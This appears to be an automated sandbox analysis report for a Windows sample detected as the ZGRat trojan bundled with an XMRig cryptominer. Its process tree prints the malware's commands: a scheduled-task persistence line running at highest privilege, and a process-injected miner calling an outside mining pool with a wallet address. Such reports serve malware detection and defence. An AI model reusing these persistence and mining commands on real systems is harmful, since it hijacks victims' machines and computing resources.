Analysis
- max time kernel
144s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
23/01/2024, 10:21
General
- Target file.exe
- Size 5.1MB
- Sample240123-mdncjaabd9
- SHA256 026da734ed88cf3db01e392c674a140c2d641bf715366fd4f3f89e5a4a18d878
Malware Config
Signatures
- Detect ZGRat V1 3 IoCs
- ZGRat
ZGRat is remote access trojan written in C#.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 13 IoCs
- .NET Reactor proctector 3 IoCs
Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- UPX packed file 17 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 1 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp54F6.tmp.bat""2⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"5⤵
- Creates scheduled task(s)
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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C:\Windows\system32\timeout.exetimeout 31⤵
- Delays execution with timeout.exe
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
.exe
.exe
tmp54F6.tmp.bat
memory/2188-1-0x00007FFCD6BB0000-0x00007FFCD7671000-memory.dmp
memory/2188-3-0x000000001C1D0000-0x000000001C1E0000-memory.dmp
memory/2188-10-0x00007FFCD6BB0000-0x00007FFCD7671000-memory.dmp
memory/2188-2-0x0000000002FE0000-0x0000000002FE1000-memory.dmp
memory/2188-0-0x0000000000050000-0x0000000000578000-memory.dmp
memory/4576-20-0x00007FFCD5210000-0x00007FFCD5CD1000-memory.dmp
memory/4576-14-0x00007FFCD5210000-0x00007FFCD5CD1000-memory.dmp
memory/4576-15-0x000000001C8D0000-0x000000001C8E0000-memory.dmp
memory/4576-16-0x0000000001AC0000-0x0000000001AC1000-memory.dmp
memory/4708-22-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-30-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-21-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-23-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-17-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-24-0x00000286B0CF0000-0x00000286B0D10000-memory.dmp
memory/4708-25-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-26-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-27-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-28-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-29-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-19-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-32-0x00000286B2630000-0x00000286B2650000-memory.dmp
memory/4708-31-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-33-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-34-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-35-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-38-0x00000286B2670000-0x00000286B2690000-memory.dmp
memory/4708-37-0x00000286B2650000-0x00000286B2670000-memory.dmp
memory/4708-36-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-39-0x0000000140000000-0x00000001407DC000-memory.dmp
memory/4708-40-0x00000286B2650000-0x00000286B2670000-memory.dmp
memory/4708-41-0x00000286B2670000-0x00000286B2690000-memory.dmp